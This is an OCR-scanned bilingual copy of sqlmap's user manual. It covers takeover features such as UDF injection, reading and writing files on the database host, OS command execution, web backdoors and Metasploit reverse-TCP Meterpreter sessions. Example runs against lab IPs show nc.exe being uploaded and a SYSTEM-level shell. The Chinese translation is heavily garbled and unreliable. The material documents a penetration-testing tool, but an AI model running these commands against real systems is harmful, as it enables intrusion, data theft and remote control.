AR — 5 M S B T M BAREE A T --columns sqlmap& §Ean A2 75 HUH
XL EAE BRI TX SO, REARMH 7 --common-columnssqlmap
WEEMS U — S AE B3R, sqlmapi i £ FH & 77 B0 SR AGr TN 2 3 2 i BT A7 £
KR, XHFEBIEtxt/common-columns.txtH FRA] PAXT b #4718 260

44 HEXRBIEAN

These options can be used to create custom user-defined functions.
Inject custom user-defined functions (UDF) => fEH AP B & X R E#HATE
A

I Switch and option: --udf-inject and --shared-1lib


af://n2689

You can inject your own user-defined functions (UDFs) by
compiling a MySQL or PostgreSQL shared library, DLL for Windows
and shared object for Linux/Unix, then provide sqlmap with the
path where the shared library is stored locally on your
machine. sqlmap will then ask you some questions, upload the
shared library on the database server file system, create the
user-defined function(s) from it and, depending on your
options, execute them. When you are finished using the injected
UDFs, sglmap can also remove them from the database for you.

=>

PP LLIE I P B R Bk E N MySQL. PostgreSQLXT A At 75 1) # i 72
T sqlmap X F R uae X3 sqlmap < AR i) 4R T MR 40 0] 25 1 17 o ok
AR LT R BB AR SEIE NS salmap o AU EE I ER R 1K H E LR
These techniques are detailed in the white paper Advanced SQL
injection to operating system full control

=5

HAK 18 B XS URL :

http://www.slideshare.net/inquis/advanced-sql-injection-to-

operating-system-full-control-whitepaper-4633857

Use option --udf-inject and follow the instructions.

#

If you want, you can specify the shared library local file
system path via command line too by using --shared-1ib option.
Vice versa sglmap will ask you for the path at runtime.

=>

LR AT DU --share-1ibRIGENMFE KL B sqlmape iR
St g 12

This feature is available only when the database management
system is MySQL or PostgreSQL.
=

XA IE TR A EMySQLMIPostgreSQL N A4 e f# H

## XM RLGV I


http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
af://n2728

Read a file from the database server's file system
I Option: --file-read

It is possible to retrieve the content of files from the
underlying file system when the back-end database management
system is either MySQL, PostgreSQL or Microsoft SQL Server, and
the session user has the needed privileges to abuse database
specific functionalities and architectural weaknesses. The file
specified can be either a textual or a binary file. sglmap will
handle it properly.

=>

an SR H bR U R &My SQL . PostgreSQLELEMsSQL T HLA A R4 LR A8
2 0] A B H AR HL T B SO AN B R SO SR & I SO sqlmap#FRE
g & & B AT AL B

These techniques are detailed in the white paper => V15 & NI
URL:
Advanced SQL injection to operating system full control

http://www.slideshare.net/inquis/advanced-sgl-injection-to-

operating-system-full-control-whitepaper-4633857

Example against a Microsoft SQL Server 2005 target to retrieve a

binary file:

$ python sqlmap.py -u
"http://192.168.136.129/sqglmap/mssqgl/iis/get_str2.asp?

name=luther” --file-read "C:/example.exe” -v 1



http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, Microsoft IIS

back-end DBMS: Microsoft SQL Server

[hh:mm:50] [INFO] fetching file: 'C:/example.exe’

[hh:mm:58] [INFO] the SQL query provided returns 3 entries

C:/example.exe file saved to: ' /software/sqlmap/output/192.168.136.129/files/

C__example.exe'

[-..1

$ 1s -1 output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm
output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable
for MS Windows (GUI) Intel 80386 32-bit

Upload a file to the database server's file system
Options: --file-write and --file-dest

It is possible to upload a local file to the database server's
file system when the back-end database management system is
either MySQL, PostgreSQL or Microsoft SQL Server, and the
session user has the needed privileges to abuse database
specific functionalities and architectural weaknesses. The file
specified can be either a textual or a binary file. sqlmap will
handle it properly.

=>



6] FF fEMySQL. PostgreSQL. MsSQL T R EA/RA &4 AR LA K& I il AH 2¢ 11 T
& W ARWAT L B A — S BI50 8 B A R SCAR SRSk & b —#F
EIY

These techniques are detailed in the white paper Advanced SQL
injection to operating system full control => JH1E#L N HAJURL:

http://www.slideshare.net/inquis/advanced-sgl-injection-to-

operating-system-full-control-whitepaper-4633857

Example against a MySQL target to upload a binary UPX-compressed
file:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows

(console) Intel 80386 32-bit

$ 1s -1 /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm

/software/nc.exe.packed

$ python sqlmap.py -u
"http://192.168.136.129/sqglmap/mysqgl/get int.aspx?id=1" --file-

write "/software/nc.exe.packed” --file-dest

"C:/WINDOWS/Temp/nc.exe"” -v 1


http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1

[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows or
web application technology: ASP.NET, Microsoft IIS , ASP.NET

back-end DBMS: MySQL >=

[-..]

do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe’ has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved:

[hh:mm:52] [INFO] the file has been successfully written and its size is

ytes, same size as the local file '/software/nc.exe.packed’

i BRIERARE

Run arbitrary operating system command
Option and switch: --os-cmd and --os-shell

It is possible to run arbitrary commands on the database
server's underlying operating system when the back-end database
management system is either MySQL, PostgreSQL or Microsoft SQL
Server, and the session user has the needed privileges to abuse
database specific functionalities and architectural weaknesses.
=>

H br B0 My SQL. PostgreSQLEL E MsSQL LA K & W5 AR 3% A8 4 fR v LLig
THIR RGN 2


af://n2800

On MySQL and PostgreSQL, sqlmap uploads (via the file upload
functionality explained above) a shared library (binary file)
containing two user-defined functions, sys exec() and

sys eval(), then it creates these two functions on the database
and calls one of them to execute the specified command,
depending on user's choice to display the standard output or
not. On Microsoft SQL Server, sqglmap abuses the xp cmdshell
stored procedure: if it is disabled (by default on Microsoft
SQL Server >= 2005), sglmap re-enables it; if it does not
exist, sglmap creates it from scratch.

=>

fEMySQL LA SrPostgreSQLIIE L sqlmap< B4 (NI H I A& TR — 4
AEWNINHIPEE XERERLib X Hsys _exec ()Ll ksys eval () R G 1 B PE
JE FR B S A B BUOR R BT 1B E B A IR A 10 3 360K & 75 S s A oA
) FEMsSQLEHEFEF sqlmapfi flxp_cmdshel IRIBATREF MR

Xp cmdshel 1 #8227 (MsSQL>=2005) iR A sqlmap< T FFIX AN ThREEE T 0
xp cmdshel 1B MIBE sqlmap & &L — 4

When the user requests the standard output, sglmap uses one of
the enumeration SQL injection techniques (blind, inband or
error-based) to retrieve it. Vice versa, if the standard output
is not required, stacked query SQL injection technique is used
to execute the command.

=>

IR M S RARHER ) sqlmap = M FIAMISQUIE AR (BIE inband HiH
BRI ) SRR U H o SRS 6 A A e L AT R AT HE AR A W SR AT A 4

These techniques are detailed in the white paper Advanced SQL

injection to operating system full control => V115 &k

http://www.slideshare.net/inquis/advanced-sql-injection-to-

operating-system-full-control-whitepaper-4633857

Example against a PostgreSQL target:


http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857

$ python sqlmap.py -u
"http://192.168.136.131/sglmap/pgsql/get_int.php?id=1" --o0s

id -v

1

web application technology: PHP .6, Apache

back-end DBMS: PostgreSQL

[hh:
[hh:
[hh:
[hh:
[hh:
[hh:
[hh:
[hh:

do you

mm:12]
112]
:12]
112]
:12]
:12]
:12]

mm:12]

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]

[INFO]

fingerprinting the back-end DBMS operating system
the back-end DBMS operating system is Linux
testing if current user is DBA

detecting back-end DBMS version from its banner
checking if UDF 'sys eval' already exist

checking if UDF 'sys_exec' already exist

creating UDF 'sys eval' from the binary UDF file

creating UDF 'sys_exec' from the binary UDF file

want to retrieve the command standard output? [Y/n/a]l y

command standard output: ‘uid=104(postgres) gid=106(postgres) groups=106(post

gres)’

[hh:
do you
do you
[hh:

[hh:

mm:19] [INFO] cleaning up the database management system

want to remove UDF 'sys_eval'? [Y/n] y

want to remove UDF 'sys exec'? [Y/n] y

mm:23] [INFO] database management system cleanup finished

mm:23] [WARNING] remember that UDF shared object files saved on the file sys

tem can only be deleted manually

It is also possible to simulate a real shell where you can

as many arbitrary commands as you wish. The option is

and has the same TAB completion and history

functionalities that has.

-cmd

type


http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1

=>
A LAfEshellF BITIEER WS [ --os-shell WRERMUF--sq1-

shell

Where stacked queries has not been identified on the web
application (e.g. PHP or ASP with back-end database management
system being MySQL) and the DBMS is MySQL, it is still possible
to abuse the SELECT clause's INTO OUTFILE to create a web
backdoor in a writable folder within the web server document
root and still get command execution assuming the back-end DBMS
and the web server are hosted on the same server. sqglmap
supports this technique and allows the user to provide a comma-
separated list of possible document root sub-folders where try
to upload the web file stager and the subsequent web backdoor.
Also, sglmap has its own tested web file stagers and backdoors
for the following languages:

=>

an Fweb B7FH oS G A8 FH 4 AR 5 1) (PHP . ASP+MySQL) 1M H #0405 & &My sQL 544
A LLE I sELECTH T A INTO OUTFILEE — A BRI H X T REAIEE ]
sqlmapFAIFEEW 7 MR ESSMIES P H T LA T H XTI, sQLMAPH C
M8 5 TR A

ASP

ASP.NET

JSP

PHP

Out-of-band stateful connection: Meterpreter & friends

Switches and options: --os-pwn, --os-smbrelay, --os-bof, --priv-

esc, --msf-path and --tmp-path

It is possible to establish an out-of-band stateful TCP
connection between the attacker machine and the database server
underlying operating system when the back-end database
management system is either MySQL, PostgreSQL or Microsoft SQL

Server, and the session user has the needed privileges to abuse



database specific functionalities and architectural weaknesses.
This channel can be an interactive command prompt, a
Meterpreter session or a graphical user interface (VNC) session
as per user's choice.

=>

24 H bR B PE AMySQL. PostgreSQL. MsSQLUA KA E W KRR T~ AR 7] LLLE I
oy DAL W 2 A 55 4 18] 2 5L — Al Sh IO TCP k4% ] DA A2 #3247
Meterpreter < ifi LL &ZVNC

sglmap relies on Metasploit to create the shellcode and
implements four different techniques to execute it on the
database server.

=>

sqlmap i EMetasploit Kl shellcodeIf H AV Fh 7 Rk K% 28 F#ATE

These techniques are: => HARFE ARUIT .

Database in-memory execution of the Metasploit'’'s shellcode via
sglmap own user-defined function sys bineval (). Supported on
MySQL and PostgreSQL - switch --os-pwn.

=>

YEHHR PE My SQL. DA K PostgreSQL A8 Fl --os-pwn & 75 04 i I 3 17 @
HTHPEE XK sys bineval () KA Tmetasploitifishellcode

Upload and execution of a Metasploit's stand-alone payload
stager via sqlmap own user-defined function sys exec() on MySQL
and PostgreSQL or via xp cmdshell() on Microsoft SQL Server -
switch --os-pwn.

=>

R --0s-pwnA] LAfEMySQLFPostgreSQL LA F H & X $lsys exec ()
u&MSSQLTT@ﬁxpicmdshell()ﬂ%iﬁéuﬁﬁhﬁf$@\ﬂ@payload
Execution of Metasploit's shellcode by performing a SMB
reflection attack (MS@8-068) with a UNC path request from the
database server to the attacker's machine where the Metasploit
smb relay server exploit listens. Supported when running sqlmap
with high privileges (uid=0) on Linux/Unix and the target DBMS

runs as Administrator on Windows - switch --os-smbrelay.


http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx

=5

fELinux/Unix E4A SRR (uid=0) 8 # fEwindow L4l A Administrator AL}
A LU L fF B --os-smbrelayRill it sMBx HF B ii K fTMetasploit )
shellcode (FHFE iz TMetasploitsmb relayi#f4T HWT)

Database in-memory execution of the Metasploit’'s shellcode by
exploiting Microsoft SQL Server 2000 and 2005
sp_replwritetovarbin stored procedure heap-based buffer
overflow (MS09-004). sglmap has its own exploit to trigger the
vulnerability with automatic DEP memory protection bypass, but
it relies on Metasploit to generate the shellcode to get
executed upon successful exploitation - switch --os-bof.

=>

fEMsSQL2000 LA K 2005 ] LB id sp replwritetovarbin¥E#k i H B i K
fTMetasploitHJshellcode sqlmapH 1 LAGIIDEP (BB R FE ) 1H 2T
B --os-bof R FfEMetasploi t 4 K Al FfTexpo

These techniques are detailed in the white paper Advanced SQL
injection to operating system full control

http://www.slideshare.net/inquis/advanced-sgl-injection-to-

operating-system-full-control-whitepaper-4633857

and in the slide deck Expanding the control over the operating
system from the database

http://www.slideshare.net/inquis/expanding-the-control-over-

the-operating-system-from-the-database

Example against a MySQL target:

$ python sqglmap.py -u
"http://192.168.136.129/sglmap/mysql/iis/get_int 55.aspx?id=1"

--os-pwn --msf-path /software/metasploit

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows



http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database
http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1

web application technology: ASP.NET, ASP.NET 5 >, Microsoft IIS
back-end DBMS: MySQL

[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

[hh:mm:32] [INFO] testing if current user is DBA

[hh:mm:32] [INFO] fetching current user

what is the back-end database management system architecture?
[1] 32-bit (default)

[2] 64-bit

[hh:mm:33] [INFO] checking if UDF ‘sys bineval®' already exist

[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist

[hh:mm:33] [INFO] detecting back-end DBMS version from its banner

[hh:mm:33] [INFO] retrieving MySQL base directory absolute path

[hh:mm:34] [INFO] creating UDF 'sys bineval' from the binary UDF file

[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?

[1] via UDF ‘sys bineval®' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)

[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports

between the specified and

[3] Bind TCP: Listen on the database host for a connection

which is the local address? [




which local port number do you want to use? [
which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

[hh:mm:4@] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p

lease wait..

e T I I

720 /20 T V2 A AN VA P A W

[ A W AN/ A V) N B AN A BVl

=[ metasploit v3. -dev [core:3.7 api:1.0]

=[ svn r12272 updated 4 days ago (

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread

LPORT =>

LHOST =>

[*] Started reverse handler on

[*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..

[*] Sending stage ( bytes) to

[*] Meterpreter session 1 opened ( . 160641 -> . :1689) a

t Mon Apr hh:mm:52 +




meterpreter > Loading extension espia...success.

meterpreter > Loading extension incognito...success.

meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.

meterpreter > System Language : en_US

0S ! Windows .NET Server (Build , Service Pack 2).
Computer : W2K3R2

Architecture : x86

Meterpreter : X86/win32

meterpreter > Server username: NT AUTHORITY\SYSTEM

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: :100:00:00:00:00
IP Address

Netmask

Intel(R) PRO/1000 MT Network Connection

Hardware MAC: :0c:29:fc:79:39
IP Address
Netmask

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

By default MySQL on Windows runs as , however PostgreSQL
runs as a low-privileged user on both Windows and
Linux. Microsoft SQL Server 2000 by default runs as ,
whereas Microsoft SQL Server 2005 and 2008 run most of the
times as and sometimes as

=>



BRINTE L FMySQLEwindows F & sysTEMIL FRIZAT {HPostgreSQL A 2 1F
Linuxit/Zwindows &8 & F KA R F FpostgresidafT. MsSQL2000 Bk A 1 /2

sYSTEMM PR #4718 4T SRMMsSQL2005. 20083 A & LAINETWORK SERVICEE

S

£ £ LOCAL SERVICEIBAT

It is possible to provide sglmap with switch --priv-esc to
perform a database process' user privilege escalation via
Metasploit's getsystem command which include, among others, the
kitrapod
http://archives.neohapsis.com/archives/fulldisclosure/2010-
01/0346.html

technique MS10-015

http://www.microsoft.com/technet/security/bulletin/ms10-

015.mspx)).

=>

Wi H--priv-esch] BLRIATH P BIRFBURF JHE 2@ idMetasploit
getsystemfn & LA & IR B H M ARHEATH

### windowsUFEMEBEAE

It is possible to access Windows registry when the back-end
database management system is either MySQL, PostgreSQL or
Microsoft SQL Server, and when the web application supports
stacked queries. Also, session user has to have the needed
privileges to access it.

=>

40 R B PE My SQL. PostgreSQLELEMsSQL L K AE W MIBLER & R4 R AT LA
XT H AR Fwindows 5 4t ) F M R AT 12 2.

Read a Windows registry key value

Switch: --reg-read
Using this switch you can read registry key values. => uZHUEM

RME

Write a Windows registry key value

I Switch: --reg-add


http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx
af://n2943

Using this switch you can write registry key values. => {&F Mt

KA
Delete a Windows registry key

Switch: --reg-del
Using this switch you can delete registry keys. => fH[&A: M % &
(1) E

Auxiliary registry options

Options: --reg-key, --reg-value, --reg-data and --reg-type
These options can be used to provide data needed for proper
running of switches --reg-read, --reg-add and --reg-del. So,
instead of providing registry key information when asked, you
can use them at command prompt as program arguments.

With --reg-key option you specify used Windows registry key
path, with --reg-value value item name inside provided key,
with --reg-data value data, while with --reg-type option you
specify type of the value item.

=>

SEPRER M Z M T --reg-keyig EWindowsiE M RKEYMIEEIE --reg-valuell
E/fﬂﬁi%tle@EﬁlE’JIﬁH%%ﬁ --reg—datafﬁ%féﬁ&fﬁ --reg-type?'é‘fﬂ@ﬂﬁl
Y 26 2

A sample command line for adding a registry key hive follows:

$ python sqlmap.py -u
http://192.168.136.129/sglmap/pgsqgl/get_int.aspx?id=1 --reg-add

--reg-key="HKEY_LOCAL_MACHINE\NSOFTWARE\sqglmap"” --reg-value=Test
--reg-type=REG_SZ --reg-data=1

#H# FOAERAE

These options can be used to set some general working parameters.

Load session from a stored (.sqlite) file

Option: -s


http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
af://n2990

sglmap automatically creates a persistent session SQLite file
for each target, inside dedicated output directory, where it
stores all data required for session resumal. If user wants to
explicitly set the session file location (e.g. for storing of
session data for multiple targets at one place) he can use this
option.

=>

sqlmapfEIZ AT LR 2 AR UM H 5 Q12 —A>sQLite SCIF (£ H b 1 H H
KN XHBRmEARE T 2R EARGEE - s PUE E XA SO R A7 T AL B

Log HTTP(s) traffic to a textual file

Option: -t

This option requires an argument that specified the textual
file to write all HTTP(s) traffic generated by sglmap - HTTP(S)
requests and HTTP(S) responses.

=>

-t TR AR B — N SO S R S BT sqlmap £ B AT R AE A HIHTTP (S) i =

This is useful primarily for debug purposes - when you provide
the developers with a potential bug report, send this file too.
=5
i HAEBEAT debug I IX AR AR H A RN 45 T R B AT OB I (R K&
XA A AR B

Act in non-interactive mode

Switch: --batch

If you want sqlmap to run as a batch tool, without any user'’'s
interaction when sglmap requires it, you can force that by
using switch --batch. This will leave sqglmap to go with a
default behaviour whenever user's input would be required.

=>

MRARAEAEsqlmapis T LR PR REEMAy/n KRS B4 RA] LUE
M --batch XFEsqlmap2s iR ¥ 7 2K B R BEAT 6 %

Binary content retrieval



Option --binary-fields

In case of binary content retrieval, like in example of tables
having column(s) with stored binary values (e.g. column
password with binary stored password hash values), it is
possible to use option --binary-fields for (extra) proper
handling by sqlmap. All those fields (i.e. table columns) are
then retrieved and represented in their hexadecimal
representation, so afterwards they could be properly processed
with other tools (e.g. john).

=>

a0 R SR AR )2 B SR SRR T Bl A B 3 B (passwod P BUH
it HI kR fFfifhashfl) A LLE L --binary-fieldsKiksqlmap#iT& )
AEER P IX S AR AL R N BER R s R R H0E 1 T AT AL PR

Force character encoding used for data retrieval

Option: --charset

For proper decoding of character data sqlmap uses either web
server provided information (e.g. HTTP header Content-Type) or
a heuristic result coming from a 3rd party library

chardet:https://pypi.python.org/pypi/chardet

NT X FERHEITEERRE sqlmapi@idweb k45 25— AL 15 B (HTTPL H 11
Content-Type) W EFHE BT E =% chardet (ERBEIFERHTXAN=. =)

Nevertheless, there are cases when this value has to be
overwritten, especially when retrieving data containing
international non-ASCII letters (e.g. --charset=GBK). It has to
be noted that there is a possibility that character information
is going to be irreversibly lost due to implicit
incompatibility between stored database content and used

database connector at the target side.

=>



SR A7 AE — BB G 0 A 0 ZRE AT FE 4 K Re 0l 2 SR B B s B i 1 AR
ASCII %t i &4 (B an JATHIGBK) B RITE A X M F &L N il wl AE & B N fE 28
26 i A A B 2 Y B 5 7 v 3R AT (8 B SRR I DR 9 ARASCT T 4 B A S IR 1
LA 1 & R

Crawl the website starting from the target URL

Option: --crawl

sglmap can collect potentially vulnerable links by collecting
them (crawling) starting from the target location. Using this
option user can set a depth (distance from a starting location)
below which sqlmap won't go in collecting phase, as the process
is being done recursively as long as there are new links to be
visited.

>

WA --crawl sqlmap®] DL i € HY B 45 URL DT I H 60 &5 Y AT e A7 7 I 1 HY
B eI rh R AT DOE T R E TR B (P SR BEURL T 46 U1 55 ) ok ik e T B 1 ¥R 2
2 38 1 3 9 K U £R BT A A7 AR T URL

Example run against a MySQL target:

$ python sqglmap.py -u "http://192.168.21.128/sglmap/mysqgl/" --

batch --crawl=3

[INFO] starting crawler

[INFO] searching for links with depth

[WARNING] running in a single-thread mode. could take a while
[INFO] searching for links with depth

[INFO] heuristics detected web page charset 'ascii’

[INFO] /56 links visited (75%)



http://192.168.21.128/sqlmap/mysql/

Option --crawl-exclude

With this option you can exclude pages from crawling by
providing a regular expression. For example, if you want to
skip all pages that have the keyword logout in their paths, you
can use --crawl-exclude=logout.

=>

XA 38 TG B AR R At IE TR U 8 AR BT EE R BR B U 26 IR T W R AR R HERR
FiBurlF B 1ogout M fRAI LIXAE S --crawl-exclude=1logout

Delimiting character used in CSV output

Option: --csv-del

When data being dumped is stored into the CSV format (--dump-
format=CSV), entries have to be separated with a "separation
value” (default is ,). In case that user wants to override its
default value he can use this option (e.g. --csv-del=";;";).

=>

TE T R I A7 6 10 B A 1 2 C S VA% 2 B B % - - dump- format=csv
Z BB o3 B el , SR HEAT I R AR AR AE A FE AR o BB A O OE AR AT A A XA
Dl --csv-del=";;"; XR—1ETF

DBMS authentication credentials

Option: --dbms-cred

In some cases user will be warned that some operations failed
because of lack of current DBMS user privileges and that he
could try to use this option. In those cases, if he provides
admin user credentials to sqlmap by using this option, sglmap

n

will try to rerun the problematic part with specialized "run

n

as"” mechanisms (e.g. OPENROWSET on Microsoft SQL Server) using
those credentials.

=>

FELLE LT R AR s 4 AR TR O AN 8 A PR T 5 B R OB 4 3 WOAR A A XA
T, SRR A X A e TR Il 3R B R aamin P sqlmapss B FE A H 7 4

€ BB FE P AT 22 (B WiMs SQL H I OPENROWSET)

Format of dumped data



Option: --dump-format

sglmap supports three different types of formatting when
storing dumped table data into the corresponding file inside an
output directory: csv, HTML and SQLITE. Default one is CsvV,
where each table row is stored into a textual file line by
line, and where each entry is separated with a comma character
, (or one provided with option --csv-del). In case of HTML,
output is being stored into a HTML file, where each row is
represented with a row inside a formatted table. In case of
SQLITE, output is being stored into a SQLITE database, where
original table content is replicated into the corresponding
table having a same name.

=>

salmapfE A7 fifk BT T 8 A HdE B Ik 25 1 7 SR A 1 = b AT DL % i B gl S8 &Y
csv. HTML. SQLITE BRI\ KK Zcsv XM XN TREN BT H S —
17— AT W A7 TAE SCAS T B U302 (8] RNl L, 3R 47 20 B (B il B i
YT --csv-del >R HE X MBH), MHarvLiIEA T HARRE T armo i
s FATHIEATBER E AR T EsoLtte T Ha AR & 7 IAESQLITESL
Yo e T A S A SR AE SR B P o2 — A — R R

Estimated time of arrival

Switch: --eta

It is possible to calculate and show in real time the estimated
time of arrival to retrieve each query output. This is shown
when the technique used to retrieve the output is any of the
blind SQL injection types.

=>

sqlmapfEfE B IESOR K% 7T CATH 8¢ H OB s ke R &> 2l 1 fa H P 7 22
B[]

Example against an Oracle target affected only by boolean-based

blind SQL injection:



$ python sqlmap.py -u
"http://192.168.136.131/sglmap/oracle/get _int bool.php?id=1" -b

--eta

[hh:mm:01] [INFO] the back-end DBMS is Oracle

[hh:mm:©1] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output

[hh:mm:©1] [INFO] retrieved:

[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release

- Prod

web application technology: PHP .6, Apache
back-end DBMS: Oracle

banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod’

As you can see, sqlmap first calculates the length of the query
output, then estimates the time of arrival, shows the progress
in percentage and counts the number of retrieved output
characters.

=>


http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1

LR I sqlmap &S = iF A W f K AR5 Al se s i 1) @l i
70 B i % 20 7 Ak B O Bk SR A IR R

Flush session files

Option: --flush-session

As you are already familiar with the concept of a session file
from the description above, it is good to know that you can
flush the content of that file using option --flush-session.
This way you can avoid the caching mechanisms implemented by
default in sqlmap. Other possible way is to manually remove the
session file(s).

=>

RGN RAF ) session XA A BB E AR B --£1ush-
sessionf] LAEEFT . WERR O M AN A KA LU 1k sqlmap BRIN T 44T
HIZEAF LA =498 53 A1 (0 — A 05 32l & L 2 M B 3 SC A

Parse and test forms' input fields

Switch: --forms

Say that you want to test against SQL injections a huge search
form or you want to test a login bypass (typically only two
input fields named like username and password), you can either
pass to sglmap the request in a request file (-r), set the
POSTed data accordingly (--data) or let sglmap do it for you!

=>

an SR AR AR @ IS fForm#R BRI SQLYE N B J2 55 % A (44 & g ) R w] BLiE
i ] - o488 R AORAFAE A R #EAT I B --data KIAPOSTHHE BUE ik
sqlmap H 3l i%& %

Both of the above mentioned instances, and many others, appear

as <;form>; and <;input>; tags in HTML response bodies and this
is where this switch comes into play.

Provide sqlmap with --forms as well as the page where the form

can be found as the target URL (-u) and sqlmap will request the
target URL for you, parse the forms it has and guide you

through to test for SQL injection on those form input fields



(parameters) rather than the target URL provided.

=

IX AN R HTML A B 1 [ <5 form>; BUE A& <; input>; XA B AR 28 347 1K
it %5 sqlmap 2 it H AR S H - L R AEH -- fornZ B € & B 3115 KX B Y
H A5 b ik I B0 £ orm2R 52 1 A 12 47 W0t

Ignore query results stored in session file

Switch: --fresh-queries

As you are already familiar with the concept of a session file
from the description above, it is good to know that you can
ignore the content of that file using option --fresh-queries.
This way you can keep the session file untouched and for a
selected run, avoid the resuming/restoring of queries output.
=>

A -~ £lush-sessionfl ARMRE A LM sessionLIFHEAT i

Use DBMS hex function(s) for data retrieval

Switch: --hex

In lost of cases retrieval of non-ASCII data requires special
needs. One solution for that problem is usage of DBMS hex
function(s). Turned on by this switch, data is encoded to it's
hexadecimal form before being retrieved and afterwards
unencoded to it's original form.

=>

1R 2185 BLARAR T 20 5085 7T B 2 JEASCITID Y Horp — AR Y Ip ikt 2 F 18
BEA A XA T B AL SR BT = G B O N R AR R SR B

Example against a PostgreSQL target:

$ python sqlmap.py -u
"http://192.168.48.130/sqglmap/pgsql/get_int.php?id=1" --banner

--hex -v 3 --parse-errors


http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1

[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND =CAST((CHR(58) | |CHR(118) | |CHR(116) | |CHR(186) | |CHR

(58)) | | (ENCODE(CONVERT_TO( (COALESCE (CAST(VERSTON() AS CHARACTER( )), (CHR(32)

))), (CHR(85) | |CHR(84) | [CHR(7@) | |CHR(56))), (CHR(72) | [CHR(62) | |CHR(88)))) : s text| | (

CHR(58) | |CHR(118) | |CHR(128) | |CHR(28) | |CHR(58)) AS NUMERIC)

[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query’
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e3920616€20693438362d70632d6c696e75782d
676€752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6€2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>"

[xx:xx:15] [INFO] retrieved: PostgreSQL .9 on i486-pc-linux-gnu, compiled by

GCC gcc- .real (Debian . )

[-..]

Custom output directory path

Option: --output-dir

sgqlmap by default stores session and result files inside a
subdirectory output. In case you want to use a different
location, you can use this option (e.g. --output-dir=/tmp).

=>

BRI\ Fsqglmapffilsessionbh R 5 R # R AL F HR F Boutput XA F
W R ARAE A A KT B --output-dir=

Parse DBMS error messages from response pages

Switch: --parse-errors



If the web application is configured in debug mode so that it
displays in the HTTP responses the back-end database management
system error messages, sqlmap can parse and display them for
you.

This is useful for debugging purposes like understanding why a
certain enumeration or takeover switch does not work - it might
be a matter of session user's privileges and in this case you
would see a DBMS error message along the lines of Access denied
for user <;SESSION USER>;.

=>

S B brweb S HIF B T debugt AR 4 #h X AEHTTP Bl & o 2 7= H0 95 FE 25 ) (1 B
w UL sqlmapfe®s 7 7 H B s ok

XTI S 2 A B E A e EE A R Rl
A LA B P BUR B A SR A5 R

Example against a Microsoft SQL Server target:

$ python sqglmap.py -u
"http://192.168.21.129/sqglmap/mssql/iis/get _int.asp?id=1" --

parse-errors


http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1

[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the

timeneeded to find the right number of query columns. Automatically extending th

e rangefor current UNION query injection technique test

[xx:xx:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC
ers (@x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number
s out of range of the number of items in the select list.
